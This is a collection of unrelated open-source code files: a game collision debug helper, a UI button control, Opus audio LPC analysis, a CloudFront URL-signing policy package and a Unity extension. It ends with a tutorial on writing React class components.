objectA->shape == CollisionObject::Shape::Quad; } bool CollisionResolver::isPolyCompatible(CollisionObject* objectA) { return objectA->shape == CollisionObject::Shape::Polygon || objectA->shape == CollisionObject::Shape::Rectangle || objectA->shape == CollisionObject::Shape::Quad; } void CollisionResolver::spawnDebugPoint(CollisionObject* objectA, Vec2 point, Color4F color) { DrawNode* dbg = DrawNode::create(); dbg->drawPoint(point, 4.0f, color); ObjectEvents::TriggerObjectSpawn(ObjectEvents::RequestObjectSpawnArgs( objectA, dbg, ObjectEvents::SpawnMethod::Above, ObjectEvents::PositionMode::Discard, [&]() { }, [&]() { } )); } void CollisionResolver::spawnDebugVector(CollisionObject* objectA, Vec2 pointA, Vec2 pointB, Color4F color) { DrawNode* dbg = DrawNode::create(); dbg->drawSegment(pointA, pointB, 1.0f, color); ObjectEvents::TriggerObjectSpawn(ObjectEvents::RequestObjectSpawnArgs( objectA, dbg, ObjectEvents::SpawnMethod::Above, ObjectEvents::PositionMode::Discard, [&]() { }, [&]() { } )); } void CollisionResolver::spawnDebugShapes(CollisionObject* objectA) { DrawNode* dbgA = DrawNode::create(); for (auto next : objectA->segmentsRotated) { dbgA->drawLine(std::get<0>(next), std::get<1>(next), Color4F(Color4F::YELLOW.r, Color4F::YELLOW.g, Color4F::YELLOW.b, 0.4f)); } ObjectEvents::TriggerObjectSpawn(ObjectEvents::RequestObjectSpawnArgs( objectA, dbgA, ObjectEvents::SpawnMethod::Above, ObjectEvents::PositionMode::Retain, [&]() { }, [&]() { } )); dbgA->setPosition3D(GameUtils::getWorldCoords3D(objectA)); }
{ "pile_set_name": "Github" }
/*************************************************************************** * Button.cs * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * ***************************************************************************/ using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Graphics; using System; using UltimaXNA.Core.Graphics; using UltimaXNA.Core.Input; using UltimaXNA.Core.Resources; using UltimaXNA.Core.UI; namespace UltimaXNA.Ultima.UI.Controls { public enum ButtonTypes { Default = 0, SwitchPage = 0, Activate = 1, } public class Button : AControl { const int Gump_Up = 0, Gump_Down = 1, Gump_Over = 2; Texture2D[] m_GumpTextures = { null, null, null }; int[] m_GumpID = { 0, 0, 0 }; // 0 == up, 1 == down, 2 == additional over state, not sent by the server but can be added for clientside gumps. RenderedText m_Texture; public int GumpUpID { set { m_GumpID[Gump_Up] = value; m_GumpTextures[Gump_Up] = null; } } public int GumpDownID { set { m_GumpID[Gump_Down] = value; m_GumpTextures[Gump_Down] = null; } } public int GumpOverID { set { m_GumpID[Gump_Over] = value; m_GumpTextures[Gump_Over] = null; } } public ButtonTypes ButtonType = ButtonTypes.Default; public int ButtonParameter; public int ButtonID; public string Caption = string.Empty; public bool MouseDownOnThis => m_clicked; Button(AControl parent) : base(parent) { HandlesMouseInput = true; } public Button(AControl parent, string[] arguements) : this(parent) { int x, y, gumpID1, gumpID2, buttonType, param, buttonID; x = Int32.Parse(arguements[1]); y = Int32.Parse(arguements[2]); gumpID1 = Int32.Parse(arguements[3]); gumpID2 = Int32.Parse(arguements[4]); buttonType = Int32.Parse(arguements[5]); param = Int32.Parse(arguements[6]); buttonID = 0; if (arguements.Length > 7) { buttonID = Int32.Parse(arguements[7]); } BuildGumpling(x, y, gumpID1, gumpID2, (ButtonTypes)buttonType, param, buttonID); } public Button(AControl parent, int x, int y, int gumpID1, int gumpID2, ButtonTypes buttonType, int param, int buttonID) : this(parent) { BuildGumpling(x, y, gumpID1, gumpID2, buttonType, param, buttonID); } void BuildGumpling(int x, int y, int gumpID1, int gumpID2, ButtonTypes buttonType, int param, int buttonID) { Position = new Point(x, y); GumpUpID = gumpID1; GumpDownID = gumpID2; ButtonType = buttonType; ButtonParameter = param; ButtonID = buttonID; m_Texture = new RenderedText(string.Empty, 100, true); } public override void Update(double totalMS, double frameMS) { for (int i = Gump_Up; i <= Gump_Over; i++) { if (m_GumpID[i] != 0 && m_GumpTextures[i] == null) { IResourceProvider provider = Service.Get<IResourceProvider>(); m_GumpTextures[i] = provider.GetUITexture(m_GumpID[i]); } } if (Width == 0 && Height == 0 && m_GumpTextures[Gump_Up] != null) { Size = new Point(m_GumpTextures[Gump_Up].Width, m_GumpTextures[Gump_Up].Height); } base.Update(totalMS, frameMS); } public override void Draw(SpriteBatchUI spriteBatch, Point position, double frameMS) { Texture2D texture = GetTextureFromMouseState(); if (Caption != string.Empty) { m_Texture.Text = Caption; } spriteBatch.Draw2D(texture, new Rectangle(position.X, position.Y, Width, Height), Vector3.Zero); if (Caption != string.Empty) { int yoffset = MouseDownOnThis ? 1 : 0; m_Texture.Draw(spriteBatch, new Point( position.X + (Width - m_Texture.Width) / 2, position.Y + yoffset + (Height - m_Texture.Height) / 2)); } base.Draw(spriteBatch, position, frameMS); } Texture2D GetTextureFromMouseState() { if (MouseDownOnThis && m_GumpTextures[Gump_Down] != null) { return m_GumpTextures[Gump_Down]; } if (UserInterface.MouseOverControl == this && m_GumpTextures[Gump_Over] != null) { return m_GumpTextures[Gump_Over]; } return m_GumpTextures[Gump_Up]; } int GetGumpIDFromMouseState() { if (MouseDownOnThis && m_GumpTextures[Gump_Down] != null) { return m_GumpID[Gump_Down]; } if (UserInterface.MouseOverControl == this && m_GumpTextures[Gump_Over] != null) { return m_GumpID[Gump_Over]; } return m_GumpID[Gump_Up]; } protected override bool IsPointWithinControl(int x, int y) { int gumpID = GetGumpIDFromMouseState(); IResourceProvider provider = Service.Get<IResourceProvider>(); return provider.IsPointInUITexture(gumpID, x, y); } bool m_clicked; protected override void OnMouseDown(int x, int y, MouseButton button) { if (button == MouseButton.Left) { m_clicked = true; } } protected override void OnMouseUp(int x, int y, MouseButton button) { if (button == MouseButton.Left) { m_clicked = false; } } protected override void OnMouseClick(int x, int y, MouseButton button) { if (button == MouseButton.Left) { switch (ButtonType) { case ButtonTypes.SwitchPage: // switch page ChangePage(ButtonParameter); break; case ButtonTypes.Activate: // send response OnButtonClick(ButtonID); break; } } } } }
{ "pile_set_name": "Github" }
/*********************************************************************** Copyright (c) 2006-2011, Skype Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Internet Society, IETF or IETF Trust, nor the names of specific contributors, may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************/ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "SigProc_FIX.h" #include "define.h" #include "tuning_parameters.h" #include "pitch.h" #define MAX_FRAME_SIZE 384 /* subfr_length * nb_subfr = ( 0.005 * 16000 + 16 ) * 4 = 384 */ #define QA 25 #define N_BITS_HEAD_ROOM 3 #define MIN_RSHIFTS -16 #define MAX_RSHIFTS (32 - QA) /* Compute reflection coefficients from input signal */ void silk_burg_modified_c( opus_int32 *res_nrg, /* O Residual energy */ opus_int *res_nrg_Q, /* O Residual energy Q value */ opus_int32 A_Q16[], /* O Prediction coefficients (length order) */ const opus_int16 x[], /* I Input signal, length: nb_subfr * ( D + subfr_length ) */ const opus_int32 minInvGain_Q30, /* I Inverse of max prediction gain */ const opus_int subfr_length, /* I Input signal subframe length (incl. D preceding samples) */ const opus_int nb_subfr, /* I Number of subframes stacked in x */ const opus_int D, /* I Order */ int arch /* I Run-time architecture */ ) { opus_int k, n, s, lz, rshifts, reached_max_gain; opus_int32 C0, num, nrg, rc_Q31, invGain_Q30, Atmp_QA, Atmp1, tmp1, tmp2, x1, x2; const opus_int16 *x_ptr; opus_int32 C_first_row[ SILK_MAX_ORDER_LPC ]; opus_int32 C_last_row[ SILK_MAX_ORDER_LPC ]; opus_int32 Af_QA[ SILK_MAX_ORDER_LPC ]; opus_int32 CAf[ SILK_MAX_ORDER_LPC + 1 ]; opus_int32 CAb[ SILK_MAX_ORDER_LPC + 1 ]; opus_int32 xcorr[ SILK_MAX_ORDER_LPC ]; opus_int64 C0_64; celt_assert( subfr_length * nb_subfr <= MAX_FRAME_SIZE ); /* Compute autocorrelations, added over subframes */ C0_64 = silk_inner_prod16_aligned_64( x, x, subfr_length*nb_subfr, arch ); lz = silk_CLZ64(C0_64); rshifts = 32 + 1 + N_BITS_HEAD_ROOM - lz; if (rshifts > MAX_RSHIFTS) rshifts = MAX_RSHIFTS; if (rshifts < MIN_RSHIFTS) rshifts = MIN_RSHIFTS; if (rshifts > 0) { C0 = (opus_int32)silk_RSHIFT64(C0_64, rshifts ); } else { C0 = silk_LSHIFT32((opus_int32)C0_64, -rshifts ); } CAb[ 0 ] = CAf[ 0 ] = C0 + silk_SMMUL( SILK_FIX_CONST( FIND_LPC_COND_FAC, 32 ), C0 ) + 1; /* Q(-rshifts) */ silk_memset( C_first_row, 0, SILK_MAX_ORDER_LPC * sizeof( opus_int32 ) ); if( rshifts > 0 ) { for( s = 0; s < nb_subfr; s++ ) { x_ptr = x + s * subfr_length; for( n = 1; n < D + 1; n++ ) { C_first_row[ n - 1 ] += (opus_int32)silk_RSHIFT64( silk_inner_prod16_aligned_64( x_ptr, x_ptr + n, subfr_length - n, arch ), rshifts ); } } } else { for( s = 0; s < nb_subfr; s++ ) { int i; opus_int32 d; x_ptr = x + s * subfr_length; celt_pitch_xcorr(x_ptr, x_ptr + 1, xcorr, subfr_length - D, D, arch ); for( n = 1; n < D + 1; n++ ) { for ( i = n + subfr_length - D, d = 0; i < subfr_length; i++ ) d = MAC16_16( d, x_ptr[ i ], x_ptr[ i - n ] ); xcorr[ n - 1 ] += d; } for( n = 1; n < D + 1; n++ ) { C_first_row[ n - 1 ] += silk_LSHIFT32( xcorr[ n - 1 ], -rshifts ); } } } silk_memcpy( C_last_row, C_first_row, SILK_MAX_ORDER_LPC * sizeof( opus_int32 ) ); /* Initialize */ CAb[ 0 ] = CAf[ 0 ] = C0 + silk_SMMUL( SILK_FIX_CONST( FIND_LPC_COND_FAC, 32 ), C0 ) + 1; /* Q(-rshifts) */ invGain_Q30 = (opus_int32)1 << 30; reached_max_gain = 0; for( n = 0; n < D; n++ ) { /* Update first row of correlation matrix (without first element) */ /* Update last row of correlation matrix (without last element, stored in reversed order) */ /* Update C * Af */ /* Update C * flipud(Af) (stored in reversed order) */ if( rshifts > -2 ) { for( s = 0; s < nb_subfr; s++ ) { x_ptr = x + s * subfr_length; x1 = -silk_LSHIFT32( (opus_int32)x_ptr[ n ], 16 - rshifts ); /* Q(16-rshifts) */ x2 = -silk_LSHIFT32( (opus_int32)x_ptr[ subfr_length - n - 1 ], 16 - rshifts ); /* Q(16-rshifts) */ tmp1 = silk_LSHIFT32( (opus_int32)x_ptr[ n ], QA - 16 ); /* Q(QA-16) */ tmp2 = silk_LSHIFT32( (opus_int32)x_ptr[ subfr_length - n - 1 ], QA - 16 ); /* Q(QA-16) */ for( k = 0; k < n; k++ ) { C_first_row[ k ] = silk_SMLAWB( C_first_row[ k ], x1, x_ptr[ n - k - 1 ] ); /* Q( -rshifts ) */ C_last_row[ k ] = silk_SMLAWB( C_last_row[ k ], x2, x_ptr[ subfr_length - n + k ] ); /* Q( -rshifts ) */ Atmp_QA = Af_QA[ k ]; tmp1 = silk_SMLAWB( tmp1, Atmp_QA, x_ptr[ n - k - 1 ] ); /* Q(QA-16) */ tmp2 = silk_SMLAWB( tmp2, Atmp_QA, x_ptr[ subfr_length - n + k ] ); /* Q(QA-16) */ } tmp1 = silk_LSHIFT32( -tmp1, 32 - QA - rshifts ); /* Q(16-rshifts) */ tmp2 = silk_LSHIFT32( -tmp2, 32 - QA - rshifts ); /* Q(16-rshifts) */ for( k = 0; k <= n; k++ ) { CAf[ k ] = silk_SMLAWB( CAf[ k ], tmp1, x_ptr[ n - k ] ); /* Q( -rshift ) */ CAb[ k ] = silk_SMLAWB( CAb[ k ], tmp2, x_ptr[ subfr_length - n + k - 1 ] ); /* Q( -rshift ) */ } } } else { for( s = 0; s < nb_subfr; s++ ) { x_ptr = x + s * subfr_length; x1 = -silk_LSHIFT32( (opus_int32)x_ptr[ n ], -rshifts ); /* Q( -rshifts ) */ x2 = -silk_LSHIFT32( (opus_int32)x_ptr[ subfr_length - n - 1 ], -rshifts ); /* Q( -rshifts ) */ tmp1 = silk_LSHIFT32( (opus_int32)x_ptr[ n ], 17 ); /* Q17 */ tmp2 = silk_LSHIFT32( (opus_int32)x_ptr[ subfr_length - n - 1 ], 17 ); /* Q17 */ for( k = 0; k < n; k++ ) { C_first_row[ k ] = silk_MLA( C_first_row[ k ], x1, x_ptr[ n - k - 1 ] ); /* Q( -rshifts ) */ C_last_row[ k ] = silk_MLA( C_last_row[ k ], x2, x_ptr[ subfr_length - n + k ] ); /* Q( -rshifts ) */ Atmp1 = silk_RSHIFT_ROUND( Af_QA[ k ], QA - 17 ); /* Q17 */ /* We sometimes have get overflows in the multiplications (even beyond +/- 2^32), but they cancel each other and the real result seems to always fit in a 32-bit signed integer. This was determined experimentally, not theoretically (unfortunately). */ tmp1 = silk_MLA_ovflw( tmp1, x_ptr[ n - k - 1 ], Atmp1 ); /* Q17 */ tmp2 = silk_MLA_ovflw( tmp2, x_ptr[ subfr_length - n + k ], Atmp1 ); /* Q17 */ } tmp1 = -tmp1; /* Q17 */ tmp2 = -tmp2; /* Q17 */ for( k = 0; k <= n; k++ ) { CAf[ k ] = silk_SMLAWW( CAf[ k ], tmp1, silk_LSHIFT32( (opus_int32)x_ptr[ n - k ], -rshifts - 1 ) ); /* Q( -rshift ) */ CAb[ k ] = silk_SMLAWW( CAb[ k ], tmp2, silk_LSHIFT32( (opus_int32)x_ptr[ subfr_length - n + k - 1 ], -rshifts - 1 ) ); /* Q( -rshift ) */ } } } /* Calculate nominator and denominator for the next order reflection (parcor) coefficient */ tmp1 = C_first_row[ n ]; /* Q( -rshifts ) */ tmp2 = C_last_row[ n ]; /* Q( -rshifts ) */ num = 0; /* Q( -rshifts ) */ nrg = silk_ADD32( CAb[ 0 ], CAf[ 0 ] ); /* Q( 1-rshifts ) */ for( k = 0; k < n; k++ ) { Atmp_QA = Af_QA[ k ]; lz = silk_CLZ32( silk_abs( Atmp_QA ) ) - 1; lz = silk_min( 32 - QA, lz ); Atmp1 = silk_LSHIFT32( Atmp_QA, lz ); /* Q( QA + lz ) */ tmp1 = silk_ADD_LSHIFT32( tmp1, silk_SMMUL( C_last_row[ n - k - 1 ], Atmp1 ), 32 - QA - lz ); /* Q( -rshifts ) */ tmp2 = silk_ADD_LSHIFT32( tmp2, silk_SMMUL( C_first_row[ n - k - 1 ], Atmp1 ), 32 - QA - lz ); /* Q( -rshifts ) */ num = silk_ADD_LSHIFT32( num, silk_SMMUL( CAb[ n - k ], Atmp1 ), 32 - QA - lz ); /* Q( -rshifts ) */ nrg = silk_ADD_LSHIFT32( nrg, silk_SMMUL( silk_ADD32( CAb[ k + 1 ], CAf[ k + 1 ] ), Atmp1 ), 32 - QA - lz ); /* Q( 1-rshifts ) */ } CAf[ n + 1 ] = tmp1; /* Q( -rshifts ) */ CAb[ n + 1 ] = tmp2; /* Q( -rshifts ) */ num = silk_ADD32( num, tmp2 ); /* Q( -rshifts ) */ num = silk_LSHIFT32( -num, 1 ); /* Q( 1-rshifts ) */ /* Calculate the next order reflection (parcor) coefficient */ if( silk_abs( num ) < nrg ) { rc_Q31 = silk_DIV32_varQ( num, nrg, 31 ); } else { rc_Q31 = ( num > 0 ) ? silk_int32_MAX : silk_int32_MIN; } /* Update inverse prediction gain */ tmp1 = ( (opus_int32)1 << 30 ) - silk_SMMUL( rc_Q31, rc_Q31 ); tmp1 = silk_LSHIFT( silk_SMMUL( invGain_Q30, tmp1 ), 2 ); if( tmp1 <= minInvGain_Q30 ) { /* Max prediction gain exceeded; set reflection coefficient such that max prediction gain is exactly hit */ tmp2 = ( (opus_int32)1 << 30 ) - silk_DIV32_varQ( minInvGain_Q30, invGain_Q30, 30 ); /* Q30 */ rc_Q31 = silk_SQRT_APPROX( tmp2 ); /* Q15 */ if( rc_Q31 > 0 ) { /* Newton-Raphson iteration */ rc_Q31 = silk_RSHIFT32( rc_Q31 + silk_DIV32( tmp2, rc_Q31 ), 1 ); /* Q15 */ rc_Q31 = silk_LSHIFT32( rc_Q31, 16 ); /* Q31 */ if( num < 0 ) { /* Ensure adjusted reflection coefficients has the original sign */ rc_Q31 = -rc_Q31; } } invGain_Q30 = minInvGain_Q30; reached_max_gain = 1; } else { invGain_Q30 = tmp1; } /* Update the AR coefficients */ for( k = 0; k < (n + 1) >> 1; k++ ) { tmp1 = Af_QA[ k ]; /* QA */ tmp2 = Af_QA[ n - k - 1 ]; /* QA */ Af_QA[ k ] = silk_ADD_LSHIFT32( tmp1, silk_SMMUL( tmp2, rc_Q31 ), 1 ); /* QA */ Af_QA[ n - k - 1 ] = silk_ADD_LSHIFT32( tmp2, silk_SMMUL( tmp1, rc_Q31 ), 1 ); /* QA */ } Af_QA[ n ] = silk_RSHIFT32( rc_Q31, 31 - QA ); /* QA */ if( reached_max_gain ) { /* Reached max prediction gain; set remaining coefficients to zero and exit loop */ for( k = n + 1; k < D; k++ ) { Af_QA[ k ] = 0; } break; } /* Update C * Af and C * Ab */ for( k = 0; k <= n + 1; k++ ) { tmp1 = CAf[ k ]; /* Q( -rshifts ) */ tmp2 = CAb[ n - k + 1 ]; /* Q( -rshifts ) */ CAf[ k ] = silk_ADD_LSHIFT32( tmp1, silk_SMMUL( tmp2, rc_Q31 ), 1 ); /* Q( -rshifts ) */ CAb[ n - k + 1 ] = silk_ADD_LSHIFT32( tmp2, silk_SMMUL( tmp1, rc_Q31 ), 1 ); /* Q( -rshifts ) */ } } if( reached_max_gain ) { for( k = 0; k < D; k++ ) { /* Scale coefficients */ A_Q16[ k ] = -silk_RSHIFT_ROUND( Af_QA[ k ], QA - 16 ); } /* Subtract energy of preceding samples from C0 */ if( rshifts > 0 ) { for( s = 0; s < nb_subfr; s++ ) { x_ptr = x + s * subfr_length; C0 -= (opus_int32)silk_RSHIFT64( silk_inner_prod16_aligned_64( x_ptr, x_ptr, D, arch ), rshifts ); } } else { for( s = 0; s < nb_subfr; s++ ) { x_ptr = x + s * subfr_length; C0 -= silk_LSHIFT32( silk_inner_prod_aligned( x_ptr, x_ptr, D, arch), -rshifts); } } /* Approximate residual energy */ *res_nrg = silk_LSHIFT( silk_SMMUL( invGain_Q30, C0 ), 2 ); *res_nrg_Q = -rshifts; } else { /* Return residual energy */ nrg = CAf[ 0 ]; /* Q( -rshifts ) */ tmp1 = (opus_int32)1 << 16; /* Q16 */ for( k = 0; k < D; k++ ) { Atmp1 = silk_RSHIFT_ROUND( Af_QA[ k ], QA - 16 ); /* Q16 */ nrg = silk_SMLAWW( nrg, CAf[ k + 1 ], Atmp1 ); /* Q( -rshifts ) */ tmp1 = silk_SMLAWW( tmp1, Atmp1, Atmp1 ); /* Q16 */ A_Q16[ k ] = -Atmp1; } *res_nrg = silk_SMLAWW( nrg, silk_SMMUL( SILK_FIX_CONST( FIND_LPC_COND_FAC, 32 ), C0 ), -tmp1 );/* Q( -rshifts ) */ *res_nrg_Q = -rshifts; } }
{ "pile_set_name": "Github" }
#include <sys/types.h> #include <linux/kernel.h> #include <stdio.h> int vscnprintf(char *buf, size_t size, const char *fmt, va_list args) { int i = vsnprintf(buf, size, fmt, args); ssize_t ssize = size; return (i >= ssize) ? (ssize - 1) : i; } int scnprintf(char * buf, size_t size, const char * fmt, ...) { ssize_t ssize = size; va_list args; int i; va_start(args, fmt); i = vsnprintf(buf, size, fmt, args); va_end(args); return (i >= ssize) ? (ssize - 1) : i; }
{ "pile_set_name": "Github" }
package sign import ( "bytes" "crypto" "crypto/rand" "crypto/rsa" "crypto/sha1" "encoding/base64" "encoding/json" "fmt" "io" "net/url" "strings" "time" "unicode" ) // An AWSEpochTime wraps a time value providing JSON serialization needed for // AWS Policy epoch time fields. type AWSEpochTime struct { time.Time } // NewAWSEpochTime returns a new AWSEpochTime pointer wrapping the Go time provided. func NewAWSEpochTime(t time.Time) *AWSEpochTime { return &AWSEpochTime{t} } // MarshalJSON serializes the epoch time as AWS Profile epoch time. func (t AWSEpochTime) MarshalJSON() ([]byte, error) { return []byte(fmt.Sprintf(`{"AWS:EpochTime":%d}`, t.UTC().Unix())), nil } // UnmarshalJSON unserializes AWS Profile epoch time. func (t *AWSEpochTime) UnmarshalJSON(data []byte) error { var epochTime struct { Sec int64 `json:"AWS:EpochTime"` } err := json.Unmarshal(data, &epochTime) if err != nil { return err } t.Time = time.Unix(epochTime.Sec, 0).UTC() return nil } // An IPAddress wraps an IPAddress source IP providing JSON serialization information type IPAddress struct { SourceIP string `json:"AWS:SourceIp"` } // A Condition defines the restrictions for how a signed URL can be used. type Condition struct { // Optional IP address mask the signed URL must be requested from. IPAddress *IPAddress `json:"IpAddress,omitempty"` // Optional date that the signed URL cannot be used until. It is invalid // to make requests with the signed URL prior to this date. DateGreaterThan *AWSEpochTime `json:",omitempty"` // Required date that the signed URL will expire. A DateLessThan is required // sign cloud front URLs DateLessThan *AWSEpochTime `json:",omitempty"` } // A Statement is a collection of conditions for resources type Statement struct { // The Web or RTMP resource the URL will be signed for Resource string // The set of conditions for this resource Condition Condition } // A Policy defines the resources that a signed will be signed for. // // See the following page for more information on how policies are constructed. // http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-creating-signed-url-custom-policy.html#private-content-custom-policy-statement type Policy struct { // List of resource and condition statements. // Signed URLs should only provide a single statement. Statements []Statement `json:"Statement"` } // Override for testing to mock out usage of crypto/rand.Reader var randReader = rand.Reader // Sign will sign a policy using an RSA private key. It will return a base 64 // encoded signature and policy if no error is encountered. // // The signature and policy should be added to the signed URL following the // guidelines in: // http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-signed-urls.html func (p *Policy) Sign(privKey *rsa.PrivateKey) (b64Signature, b64Policy []byte, err error) { if err = p.Validate(); err != nil { return nil, nil, err } // Build and escape the policy b64Policy, jsonPolicy, err := encodePolicy(p) if err != nil { return nil, nil, err } awsEscapeEncoded(b64Policy) // Build and escape the signature b64Signature, err = signEncodedPolicy(randReader, jsonPolicy, privKey) if err != nil { return nil, nil, err } awsEscapeEncoded(b64Signature) return b64Signature, b64Policy, nil } // Validate verifies that the policy is valid and usable, and returns an // error if there is a problem. func (p *Policy) Validate() error { if len(p.Statements) == 0 { return fmt.Errorf("at least one policy statement is required") } for i, s := range p.Statements { if s.Resource == "" { return fmt.Errorf("statement at index %d does not have a resource", i) } if !isASCII(s.Resource) { return fmt.Errorf("unable to sign resource, [%s]. "+ "Resources must only contain ascii characters. "+ "Hostnames with unicode should be encoded as Punycode, (e.g. golang.org/x/net/idna), "+ "and URL unicode path/query characters should be escaped.", s.Resource) } } return nil } // CreateResource constructs, validates, and returns a resource URL string. An // error will be returned if unable to create the resource string. func CreateResource(scheme, u string) (string, error) { scheme = strings.ToLower(scheme) if scheme == "http" || scheme == "https" || scheme == "http*" || scheme == "*" { return u, nil } if scheme == "rtmp" { parsed, err := url.Parse(u) if err != nil { return "", fmt.Errorf("unable to parse rtmp URL, err: %s", err) } rtmpURL := strings.TrimLeft(parsed.Path, "/") if parsed.RawQuery != "" { rtmpURL = fmt.Sprintf("%s?%s", rtmpURL, parsed.RawQuery) } return rtmpURL, nil } return "", fmt.Errorf("invalid URL scheme must be http, https, or rtmp. Provided: %s", scheme) } // NewCannedPolicy returns a new Canned Policy constructed using the resource // and expires time. This can be used to generate the basic model for a Policy // that can be then augmented with additional conditions. // // See the following page for more information on how policies are constructed. // http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-creating-signed-url-custom-policy.html#private-content-custom-policy-statement func NewCannedPolicy(resource string, expires time.Time) *Policy { return &Policy{ Statements: []Statement{ { Resource: resource, Condition: Condition{ DateLessThan: NewAWSEpochTime(expires), }, }, }, } } // encodePolicy encodes the Policy as JSON and also base 64 encodes it. func encodePolicy(p *Policy) (b64Policy, jsonPolicy []byte, err error) { jsonPolicy, err = encodePolicyJSON(p) if err != nil { return nil, nil, fmt.Errorf("failed to encode policy, %s", err.Error()) } // Remove leading and trailing white space, JSON encoding will note include // whitespace within the encoding. jsonPolicy = bytes.TrimSpace(jsonPolicy) b64Policy = make([]byte, base64.StdEncoding.EncodedLen(len(jsonPolicy))) base64.StdEncoding.Encode(b64Policy, jsonPolicy) return b64Policy, jsonPolicy, nil } // signEncodedPolicy will sign and base 64 encode the JSON encoded policy. func signEncodedPolicy(randReader io.Reader, jsonPolicy []byte, privKey *rsa.PrivateKey) ([]byte, error) { hash := sha1.New() if _, err := bytes.NewReader(jsonPolicy).WriteTo(hash); err != nil { return nil, fmt.Errorf("failed to calculate signing hash, %s", err.Error()) } sig, err := rsa.SignPKCS1v15(randReader, privKey, crypto.SHA1, hash.Sum(nil)) if err != nil { return nil, fmt.Errorf("failed to sign policy, %s", err.Error()) } b64Sig := make([]byte, base64.StdEncoding.EncodedLen(len(sig))) base64.StdEncoding.Encode(b64Sig, sig) return b64Sig, nil } // special characters to be replaced with awsEscapeEncoded var invalidEncodedChar = map[byte]byte{ '+': '-', '=': '_', '/': '~', } // awsEscapeEncoded will replace base64 encoding's special characters to be URL safe. func awsEscapeEncoded(b []byte) { for i, v := range b { if r, ok := invalidEncodedChar[v]; ok { b[i] = r } } } func isASCII(u string) bool { for _, c := range u { if c > unicode.MaxASCII { return false } } return true }
{ "pile_set_name": "Github" }
namespace Zinnia.Extension { using UnityEngine; using Zinnia.Data.Type; /// <summary> /// Extended methods for the <see cref="TransformData"/> Type. /// </summary> public static class TransformDataExtensions { /// <summary> /// Attempts to retrieve the <see cref="GameObject"/> from a given <see cref="TransformData"/>. /// </summary> /// <param name="transformData">The <see cref="TransformData"/> to retrieve the <see cref="GameObject"/> from.</param> /// <returns>The <see cref="GameObject"/> if one exists on the given <see cref="TransformData"/>.</returns> public static GameObject TryGetGameObject(this TransformData transformData) { return transformData?.Transform == null ? null : transformData.Transform.gameObject; } } }
{ "pile_set_name": "Github" }
# Class Components ## Learning Goals - Examine the syntax of creating a class component. - Compare that syntax of a functional component with a class component. ## Functional Components There are two main types of components in React. _Class Components_ and _Functional Components_. Until now all the components you created in React were functions like this: ```javascript // components/Student.js const Student = (props) => { return ( <div> <h3>{props.fullName}</h3> <p>{props.email}</p> </div> ); }; ``` These are called, _functional components,_ because they are composed of one function. Functional components take in data from `props` and return JSX. When functional components **only** use props and not the `useState` hook these functional components are often called _Stateless Components_ in React. These stateless components are attractive because they are relatively straightforward to read, test and debug. However we often need to keep track of information over time or the _state_ of our component like we have done with the `useState` hook. If you remember back to Ruby, we built objects which combined data, which could change over time, with functionality by defining classes. React _class components_ provide an alternative to the `useState` hook to manage the state of a component, and provide a set of lifecycle methods to manage a component's rendering and state. ### So Why Didn't We Learn Class Components Earlier? At Ada we feel that, in most cases, that the recent introduction of hooks make class components _unnecessary_. With hooks most applications can be written exclusively with functional components. There are a few [specialized cases](https://reactjs.org/docs/error-boundaries.html) which require class components, but these scenarios are few and far between and may be replaced hook-based solutions at a later date. ### So Why Learn About Class Components? React has been around for a while now and a great deal of code and documentation has been written using class components. React is not eliminating class components and a great number of developers find the abstraction of class components attractive. It's important to know how they work and how to convert between functional and class components. ## Class Components We could rewrite the `App` component `create-react-app` generates for us like this. ```javascript import React, { Component } from 'react'; class App extends Component { render() { return ( <div className="App"> ... </div> ); } } ``` This class extends `Component` a class defined in the React library and inherits a bunch of functionality we will go into further in following lectures. All class components **must** have a `render` method which returns a block of JSX like the functional components we have created thus far. ### What about `props` Because a class component is not a single function, any props must be passed into the constructor. We can see an example by re-writing our Student component as a class. ```javascript // components/Student.js import React from 'react'; class Student extends React.Component { constructor(props) { super(props); } render() { return ( <div> <h3>{this.props.fullname}</h3> <p>{this.props.email}</p> </div> ); } } export default Student; ``` In the Student class, `props` are passed into the contructor as arguments and saved as an instance variable by the superclass, Component. In a class component you can always access props from any method with `this.props`, just like you could access a ruby instance variable with the `@` character. Because this is the default behavior of a React component, you can leave off the constructor, if this is all you are doing. **Questions:** 1. What is the superclass for `Student`? 1. What is accomplished with `super(props)`? ### Is it `extends React.Component` or `extends Component` You may have noticed that `App` inherits from `Component` while the `Student` inherits from `React.Component`. They are both inheriting from the same class, but in `App.js` we have _destructured_ the `React` object with `import React, { Component } from 'react';`. The `{ Component }` part of the line is the equivalent to: `const Component = React.Component`. It's a way of assigning elements of an object to individual variables. ## When to use a Stateless, Functional-with hooks or Class Component At Ada we start writing functional components because we believe they are the clearest to understand and easiest to get started writing JSX. Furthermore, writing functional components is seen as best-practice in industry. 